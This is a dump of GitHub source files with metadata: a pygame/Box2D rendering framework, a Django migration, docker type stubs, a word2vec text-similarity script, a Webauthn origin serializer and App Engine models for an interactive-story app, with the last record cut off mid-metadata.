{"seq_id": "41819344738", "text": "import pygame\nfrom pygame.locals import (QUIT, KEYDOWN, KEYUP)\nimport Box2D\nfrom Box2D.b2 import (world, staticBody, dynamicBody, kinematicBody,\n                      polygonShape, circleShape, edgeShape, loopShape)\n\nTARGET_FPS = 60\nPPM = 10.0\nTIMESTEP = 1.0 / TARGET_FPS\nVEL_ITERS, POS_ITERS = 10, 10\nSCREEN_WIDTH, SCREEN_HEIGHT = 800, 600\nSCREEN_OFFSETX, SCREEN_OFFSETY = SCREEN_WIDTH * 1.0 / 2.0, SCREEN_HEIGHT * 2.0 / 3\ncolors = {\n    staticBody: (255, 255, 255, 255),\n    dynamicBody: (127, 127, 127, 255),\n    kinematicBody: (127, 127, 230, 255),\n}\n\n\ndef fix_vertices(vertices):\n    return [(int(SCREEN_OFFSETX + v[0]), int(SCREEN_OFFSETY - v[1])) for v in vertices]\n\n\ndef _draw_polygon(polygon, screen, body, fixture):\n    transform = body.transform\n    vertices = fix_vertices([transform * v * PPM for v in polygon.vertices])\n    pygame.draw.polygon(\n        screen, [c / 2.0 for c in colors[body.type]], vertices, 0)\n    pygame.draw.polygon(screen, colors[body.type], vertices, 1)\npolygonShape.draw = _draw_polygon\n\n\ndef _draw_circle(circle, screen, body, fixture):\n    position = fix_vertices([body.transform * circle.pos * PPM])[0]\n    pygame.draw.circle(screen, colors[body.type],\n                       position, int(circle.radius * PPM))\ncircleShape.draw = _draw_circle\n\n\ndef _draw_edge(edge, screen, body, fixture):\n    vertices = fix_vertices(\n        [body.transform * edge.vertex1 * PPM, body.transform * edge.vertex2 * PPM])\n    pygame.draw.line(screen, colors[body.type], vertices[0], vertices[1])\nedgeShape.draw = _draw_edge\n\n\ndef _draw_loop(loop, screen, body, fixture):\n    transform = body.transform\n    vertices = fix_vertices([transform * v * PPM for v in loop.vertices])\n    v1 = vertices[-1]\n    for v2 in vertices:\n        pygame.draw.line(screen, colors[body.type], v1, v2)\n        v1 = v2\nloopShape.draw = _draw_loop\n\n\ndef draw_world(screen, world):\n    # Draw the world\n    for body in world.bodies:\n        for fixture in body.fixtures:\n            fixture.shape.draw(screen, body, fixture)\n\n\nclass Keys(object):\n    pass\n\n# The following import is only needed to do the initial loading and\n# overwrite the Keys class.\nimport framework\n# Set up the keys (needed as the normal framework abstracts them between\n# backends)\nkeys = [s for s in dir(pygame.locals) if s.startswith('K_')]\nfor key in keys:\n    value = getattr(pygame.locals, key)\n    setattr(Keys, key, value)\nframework.Keys = Keys\n\n\nclass SimpleFramework(object):\n    name = 'None'\n    description = ''\n\n    def __init__(self):\n        self.world = world()\n\n        print('Initializing pygame framework...')\n        # Pygame Initialization\n        pygame.init()\n        caption = \"Python Box2D Testbed - Simple backend - \" + self.name\n        pygame.display.set_caption(caption)\n\n        # Screen and debug draw\n        self.screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\n        self.font = pygame.font.Font(None, 15)\n\n        self.groundbody = self.world.CreateBody()\n\n    def run(self):\n        \"\"\"\n        Main loop.\n\n        Updates the world and then the screen.\n        \"\"\"\n\n        running = True\n        clock = pygame.time.Clock()\n        while running:\n            for event in pygame.event.get():\n                if event.type == QUIT or (event.type == KEYDOWN and event.key == Keys.K_ESCAPE):\n                    running = False\n                elif event.type == KEYDOWN:\n                    self.Keyboard(event.key)\n                elif event.type == KEYUP:\n                    self.KeyboardUp(event.key)\n\n            self.screen.fill((0, 0, 0))\n\n            self.textLine = 15\n\n            # Step the world\n            self.world.Step(TIMESTEP, VEL_ITERS, POS_ITERS)\n            self.world.ClearForces()\n\n            draw_world(self.screen, self.world)\n\n            # Draw the name of the test running\n            self.Print(self.name, (127, 127, 255))\n\n            if self.description:\n                # Draw the name of the test running\n                for s in self.description.split('\\n'):\n                    self.Print(s, (127, 255, 127))\n\n            pygame.display.flip()\n            clock.tick(TARGET_FPS)\n            self.fps = clock.get_fps()\n\n        self.world.contactListener = None\n        self.world.destructionListener = None\n        self.world.renderer = None\n\n    def Print(self, str, color=(229, 153, 153, 255)):\n        \"\"\"\n        Draw some text at the top status lines\n        and advance to the next line.\n        \"\"\"\n        self.screen.blit(self.font.render(\n            str, True, color), (5, self.textLine))\n        self.textLine += 15\n\n    def Keyboard(self, key):\n        \"\"\"\n        Callback indicating 'key' has been pressed down.\n        The keys are mapped after pygame's style.\n\n         from .framework import Keys\n         if key == Keys.K_z:\n             ...\n        \"\"\"\n        pass\n\n    def KeyboardUp(self, key):\n        \"\"\"\n        Callback indicating 'key' has been released.\n        See Keyboard() for key information\n        \"\"\"\n        pass\n", "repo_name": "pybox2d/pybox2d", "sub_path": "library/Box2D/examples/backends/simple_framework.py", "file_name": "simple_framework.py", "file_ext": "py", "file_size_in_byte": 5013, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 455, "dataset": "github-code", "pt": "81", "api": [{"api_name": "Box2D.b2.staticBody", "line_number": 14, "usage_type": "name"}, {"api_name": "Box2D.b2.dynamicBody", "line_number": 15, "usage_type": "name"}, {"api_name": "Box2D.b2.kinematicBody", "line_number": 16, "usage_type": "name"}, {"api_name": "pygame.draw.polygon", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.draw.polygon", "line_number": 29, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 29, "usage_type": "attribute"}, {"api_name": "Box2D.b2.polygonShape.draw", "line_number": 30, "usage_type": "attribute"}, {"api_name": "Box2D.b2.polygonShape", "line_number": 30, "usage_type": "name"}, {"api_name": "pygame.draw.circle", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 35, "usage_type": "attribute"}, {"api_name": "Box2D.b2.circleShape.draw", "line_number": 37, "usage_type": "attribute"}, {"api_name": "Box2D.b2.circleShape", "line_number": 37, "usage_type": "name"}, {"api_name": "pygame.draw.line", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 43, "usage_type": "attribute"}, {"api_name": "Box2D.b2.edgeShape.draw", "line_number": 44, "usage_type": "attribute"}, {"api_name": "Box2D.b2.edgeShape", "line_number": 44, "usage_type": "name"}, {"api_name": "pygame.draw.line", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 52, "usage_type": "attribute"}, {"api_name": "Box2D.b2.loopShape.draw", "line_number": 54, "usage_type": "attribute"}, {"api_name": "Box2D.b2.loopShape", "line_number": 54, "usage_type": "name"}, {"api_name": "Box2D.b2.world.bodies", "line_number": 59, "usage_type": "attribute"}, {"api_name": "Box2D.b2.world", "line_number": 59, "usage_type": "name"}, {"api_name": "pygame.locals", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pygame.locals", "line_number": 74, "usage_type": "attribute"}, {"api_name": "framework.Keys", "line_number": 76, "usage_type": "attribute"}, {"api_name": "Box2D.b2.world", "line_number": 84, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 88, "usage_type": "call"}, {"api_name": "pygame.display.set_caption", "line_number": 90, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 90, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 93, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 106, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 106, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 108, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 108, "usage_type": "attribute"}, {"api_name": "pygame.locals.QUIT", "line_number": 109, "usage_type": "name"}, {"api_name": "pygame.locals.KEYDOWN", "line_number": 109, "usage_type": "name"}, {"api_name": "pygame.locals.KEYDOWN", "line_number": 111, "usage_type": "name"}, {"api_name": "pygame.locals.KEYUP", "line_number": 113, "usage_type": "name"}, {"api_name": "pygame.display.flip", "line_number": 134, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 134, "usage_type": "attribute"}]}
{"seq_id": "14056013319", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    replaces = [(b'profile', '0001_initial'), (b'profile', '0002_auto_20151205_1345'), (b'profile', '0003_facility_type'), (b'profile', '0004_userprofile')]\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='District',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(max_length=200)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Facility',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(max_length=200)),\n                ('district', models.ForeignKey(to='profile.District')),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Province',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(max_length=200)),\n            ],\n        ),\n        migrations.AddField(\n            model_name='district',\n            name='province',\n            field=models.ForeignKey(to='profile.Province'),\n        ),\n        migrations.AlterModelOptions(\n            name='district',\n            options={'verbose_name': 'District', 'verbose_name_plural': 'Districts'},\n        ),\n        migrations.AlterModelOptions(\n            name='facility',\n            options={'verbose_name': 'Facility', 'verbose_name_plural': 'facilities'},\n        ),\n        migrations.AlterModelOptions(\n            name='province',\n            options={'verbose_name': 'Province', 'verbose_name_plural': 'Provinces'},\n        ),\n        migrations.AddField(\n            model_name='facility',\n            name='active',\n            field=models.BooleanField(default=True),\n        ),\n        migrations.AddField(\n            model_name='facility',\n            name='code',\n            field=models.CharField(default=b'', max_length=50, blank=True),\n        ),\n        migrations.AddField(\n            model_name='facility',\n            name='type',\n            field=models.CharField(default=b'', max_length=200, blank=True),\n        ),\n        migrations.CreateModel(\n            name='UserProfile',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('about', models.TextField(default=None, null=True, blank=True)),\n                ('can_upload', models.BooleanField(default=False)),\n                ('job_title', models.TextField(default=None, null=True, blank=True)),\n                ('organisation', models.TextField(default=None, null=True, blank=True)),\n                ('phone_number', models.TextField(default=None, null=True, blank=True)),\n                ('profession', models.TextField(default=None, null=True, blank=True)),\n                ('years_in_service', models.TextField(default=None, null=True, blank=True)),\n                ('location', models.ForeignKey(on_delete=django.db.models.deletion.SET_NULL, default=None, blank=True, to='profile.Facility', null=True)),\n                ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n            ],\n        ),\n    ]\n", "repo_name": "iSchool-Zambia/django-ischool-oppia", "sub_path": "oppia/profile/migrations/0001_squashed_0004_userprofile.py", "file_name": "0001_squashed_0004_userprofile.py", "file_ext": "py", "file_size_in_byte": 3630, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.migrations.swappable_dependency", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 40, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 40, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterModelOptions", "line_number": 45, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 45, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterModelOptions", "line_number": 49, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 49, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterModelOptions", "line_number": 53, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 53, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 57, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 57, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 60, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 60, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 62, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 62, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 65, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 65, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 67, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 67, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 70, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 70, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 72, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 72, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 75, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 75, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 76, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 77, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 77, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 78, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 78, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 79, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 79, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 80, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 80, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 81, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 81, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 82, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 82, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 83, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 83, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 83, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 83, "usage_type": "name"}, {"api_name": "django.db.models.OneToOneField", "line_number": 84, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 84, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 84, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 84, "usage_type": "name"}]}
{"seq_id": "26386580508", "text": "\"\"\"Typestubs for docker.api.build.\"\"\"\n\nfrom ipaddress import IPv4Address, IPv6Address\nfrom logging import Logger\nfrom typing import Dict, Generator, IO, List, Optional, Tuple, Union\n\nlog: Logger\n\nclass BuildApiMixin:\n    def build(self,\n              path: Optional[str] = None,\n              tag: Optional[str] = None,\n              quiet: bool = False,\n              fileobj: Optional[IO[str]] = ...,\n              nocache: bool = False,\n              rm: bool = False,\n              timeout: Optional[int] = None,\n              custom_context: bool = False,\n              encoding: Optional[str] = None,\n              pull: bool = False,\n              forcerm: bool = False,\n              dockerfile: Optional[str] = None,\n              container_limits: Optional[Dict[str, Union[str, int]]] = None,\n              decode: bool = False,\n              buildargs: Optional[Dict[str, str]] = None,  # Unsure about this.\n              gzip: bool = False,\n              shmsize: Optional[int] = None,\n              labels: Optional[Dict[str, str]] = None,  # Unsure about this.\n              cache_from: Optional[List[str]] = None,\n              target: Optional[str] = None,\n              network_mode: Optional[str] = None,\n              squash: Optional[bool] = None,\n              extra_hosts: Optional[Dict[str, Union[IPv4Address, IPv6Address]]] = None,\n              platform: Optional[str] = None,\n              isolation: Optional[str] = None,\n              use_config_proxy: bool = True,\n              ) -> Generator[str]: ...\n\n    def prune_builds(self) -> Dict[str, str]: ...\n\ndef process_dockerfile(\n        dockerfile: Optional[str],\n        path: str\n) -> Tuple[Optional[str], Optional[int]]: ...\n", "repo_name": "tacheo/blowhole", "sub_path": "stubs/docker/api/build.pyi", "file_name": "build.pyi", "file_ext": "pyi", "file_size_in_byte": 1708, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.Logger", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.IO", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 17, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 19, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 32, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 33, "usage_type": "name"}, {"api_name": "ipaddress.IPv4Address", "line_number": 33, "usage_type": "name"}, {"api_name": "ipaddress.IPv6Address", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 34, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 35, "usage_type": "name"}, {"api_name": "typing.Generator", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 44, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 44, "usage_type": "name"}]}
{"seq_id": "41932182104", "text": "# -*- coding: utf-8 -*-\nimport codecs\nimport numpy\nimport gensim\nimport numpy as np\nfrom word2extract import *\nimport os\n\nwordvec_size=192\ndef get_char_pos(string,char):\n    chPos=[]\n    try:\n        chPos=list(((pos) for pos,val in enumerate(string) if(val == char)))\n    except:\n        pass\n    return chPos\n\ndef word2vec(file_name,model):\n    with codecs.open(file_name, 'r',encoding='utf-8') as f:\n        word_vec_all = numpy.zeros(wordvec_size)\n        for data in f:\n            space_pos = get_char_pos(data, ' ')\n            first_word=data[0:space_pos[0]]\n            if model.__contains__(first_word):\n                word_vec_all= word_vec_all+model[first_word]\n\n            for i in range(len(space_pos) - 1):\n                word = data[space_pos[i]:space_pos[i + 1]]\n                if model.__contains__(word):\n                    word_vec_all = word_vec_all+model[word]\n        return word_vec_all\n\ndef simlarityCalu(vector1,vector2):\n    vector1Mod=np.sqrt(vector1.dot(vector1))\n    vector2Mod=np.sqrt(vector2.dot(vector2))\n    if vector2Mod!=0 and vector1Mod!=0:\n        simlarity=(vector1.dot(vector2))/(vector1Mod*vector2Mod)####修改过了，注意一下！！！！\n    else:\n        simlarity=0\n    return simlarity\n\ndef stopword(word,keywords):\n    with open(word, 'r', encoding='utf-8')as fi:\n        text=fi.read()\n        # print(text)\n    # getKeywords(p1, p1_keywords)\n    #     print(text)\n        stop_save=[]\n        for i in text:\n            stop_save.append(i)\n        stop_save_str=str(stop_save)\n        stop_save_use1=stop_save_str.replace(',','')\n        stop_save_use2 = stop_save_use1.replace(\"'\", '')\n        with open(keywords, 'w', encoding='utf-8')as fi:\n            fi.write(stop_save_use2)\n            fi.close()\n\n\npath_jib = \"E:\\\\疾病gather\\\\疾病清洗\"\nfiles= os.listdir(path_jib)\n\nif __name__ == '__main__':\n    model = gensim.models.Word2Vec.load('jb_all_word.word2vec')\n\n    p1_keywords = './data/P11_keywords.txt'\n\n\n    # getKeywords(p2, p2_keywords)\n    # p1_vec=word2vec(p1_keywords,model)\n    # p2_vec=word2vec(p2_keywords,model)\n    jbms =str(input('请输入您目前的病症或疾病描述：'))\n    print('正在疾病库中查找，请稍后...')\n    compare = {}\n    p1 = 'C:\\\\Users\\\\雷神\\\\Desktop\\\\Pinput.txt'\n    with open(p1,'w',encoding='utf-8')as fp:\n        fp.write(jbms)\n        fp.close()\n    stopword(p1,p1_keywords)\n\n\n    k=1\n    for file in files:  # 遍历文件夹\n        k=k+1\n        if k%1000==1:\n            print('please wait a moment')\n        p2_keywords = './data/P12_keywords.txt'\n        f = os.path.basename(file)\n        name_s = f.replace('.txt', '')\n        # print(name)\n        p2 = path_jib + '\\\\' + f\n        stopword(p2,p2_keywords)\n        # p2 = './data/糖尿病.txt'\n        # getKeywords(p2, p2_keywords)\n        # with open(p2, 'w', encoding='utf-8')as fi:\n        #     fi.write(jbms)\n        #     fi.close()\n\n\n        sim=model.n_similarity(p1_keywords,p2_keywords)\n        p1_vec = word2vec(p1_keywords, model)\n        print(p1_vec)\n        p2_vec = word2vec(p2_keywords, model)\n        print(p2_vec)\n        # sim = simlarityCalu(p1_vec, p2_vec)\n        # compare[name_s] = sim\n        # y=model.most_similar('疼',topn=5)\n        # print(y)\n    n = 5\n########################################################################\n    L = sorted(compare.items(), key=lambda item: item[1], reverse=True)\n    L = L[:n]\n    print(L)\n    # print(simlarityCalu(p1_vec,p2_vec))\n", "repo_name": "littleleben/Traditional-Classification", "sub_path": "cos_sim/word2c按字run.py", "file_name": "word2c按字run.py", "file_ext": "py", "file_size_in_byte": 3483, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "codecs.open", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 35, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 60, "usage_type": "call"}, {"api_name": "gensim.models.Word2Vec.load", "line_number": 63, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}]}
{"seq_id": "18216049965", "text": "from urllib.parse import urlparse\nfrom rest_framework import serializers, exceptions\n\nfrom ..models import Webauthn\n\nclass WebauthnVerifyInitSerializer(serializers.Serializer):\n    origin = serializers.CharField(max_length=512)\n\n    def validate(self, attrs: dict) -> dict:\n\n        origin = attrs.get('origin', '').strip()\n\n        allowed_protocols = [\n            'https://',\n            'chrome-extension://', # chrome, chromium, brave\n            'extension://', # edge\n        ]\n        if not any(origin.startswith(protocol) for protocol in allowed_protocols):\n            msg = 'PROTOCOL_NOT_SUPPORTED'\n            raise exceptions.ValidationError(msg)\n\n        url = urlparse(origin)\n\n        if not Webauthn.objects.filter(user_id=self.context['request'].user.id, origin=url.scheme + '://' + url.netloc, active=True).exists():\n            msg = \"NO_PERMISSION_OR_NOT_EXIST\"\n            raise exceptions.ValidationError(msg)\n\n        attrs['origin'] = url.scheme + '://' + url.netloc\n        attrs['rp_id'] = url.netloc\n\n        return attrs\n", "repo_name": "psono/psono-server", "sub_path": "psono/restapi/serializers/webauthn_verify_init.py", "file_name": "webauthn_verify_init.py", "file_ext": "py", "file_size_in_byte": 1051, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 67, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.serializers.Serializer", "line_number": 6, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 6, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 7, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 7, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 20, "usage_type": "call"}, {"api_name": "rest_framework.exceptions", "line_number": 20, "usage_type": "name"}, {"api_name": "urllib.parse.urlparse", "line_number": 22, "usage_type": "call"}, {"api_name": "models.Webauthn.objects.filter", "line_number": 24, "usage_type": "call"}, {"api_name": "models.Webauthn.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "models.Webauthn", "line_number": 24, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 26, "usage_type": "call"}, {"api_name": "rest_framework.exceptions", "line_number": 26, "usage_type": "name"}]}
{"seq_id": "1512987233", "text": "from google.appengine.ext import ndb\nimport logging\n\nclass Story(ndb.Model):\n  author = ndb.UserProperty(required=True)\n  title = ndb.TextProperty(default=\"\")\n  pages = ndb.IntegerProperty(default=1)\n  page1_key = ndb.KeyProperty()\n\n  @staticmethod\n  @ndb.transactional()\n  def create(user):\n    story = Story(author=user)\n    story.put()\n    page1 = Page.create(story, story.pages)\n    story.page1_key = page1.key\n    story.put()\n    return story\n\n  @ndb.transactional()\n  def add_page(self):\n    self.pages += 1\n    page = Page.create(self, self.pages)\n    self.put()\n    return page\n\n  @ndb.transactional()\n  def remove_page(self):\n    ndb.Key(Story, self.key.id(), Page, self.pages).delete()\n    self.pages -= 1\n    if self.pages > 0:\n      self.put()\n      return self\n    else:\n      self.key.delete()\n      return None\n\n  def summary(self):\n    page1 = self.page1_key.get()\n    return page1.html_text() if page1 else \"\"\n\n\nclass Choice(ndb.Model):\n  # parent = Page\n  id = ndb.IntegerProperty()\n  text = ndb.TextProperty(default=\"\")\n  page = ndb.IntegerProperty(default=1)\n\n\nclass Page(ndb.Model):\n  # parent = Story\n  text = ndb.TextProperty(default=\"\")\n  choices = ndb.StructuredProperty(Choice, repeated=True)\n\n  def summary(self, character_limit=100):\n    return \"%s. %s%s\" % (\n      self.key.id(),\n      self.text[:character_limit],\n      \"...\" if len(self.text) > character_limit else \"\"\n    )\n\n  def html_text(self):\n    return (self.text\n            .replace('\\n', '<br>')\n            .replace('&lt;b&gt;', '<b>')\n            .replace('&lt;/b&gt;', '</b>')\n            .replace('&lt;i&gt;', '<i>')\n            .replace('&lt;/i&gt;', '</i>')\n            .replace('&lt;em&gt;', '<em>')\n            .replace('&lt;/em&gt;', '</em>')\n            .replace('&lt;u&gt;', '<u>')\n            .replace('&lt;/u&gt;', '</u>'))\n\n  def add_choice(self):\n    self.choices.append(Choice(id=len(self.choices)))\n    self.put()\n\n  def remove_choice(self):\n    self.choices.pop()\n    self.put()\n\n  @staticmethod\n  def create(story, page_number):\n    page = Page(parent=story.key, id=page_number)\n    page.put()\n    return page\n\n\nclass SiteConfig(ndb.Model):\n  secret_key = ndb.StringProperty(required=True)\n\n  @staticmethod\n  def get():\n    site_config = ndb.Key('SiteConfig', 1).get()\n    if not site_config:\n      logging.info('Creating SiteConfig entry -- CHANGE SECRET KEY')\n      site_config = SiteConfig(id=1, secret_key=\"Change Me!\")\n      site_config.put_async()\n    return site_config\n", "repo_name": "seanpont/chooseyourownadventure", "sub_path": "models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2487, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "google.appengine.ext.ndb.Model", "line_number": 4, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 4, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.UserProperty", "line_number": 5, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 5, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.TextProperty", "line_number": 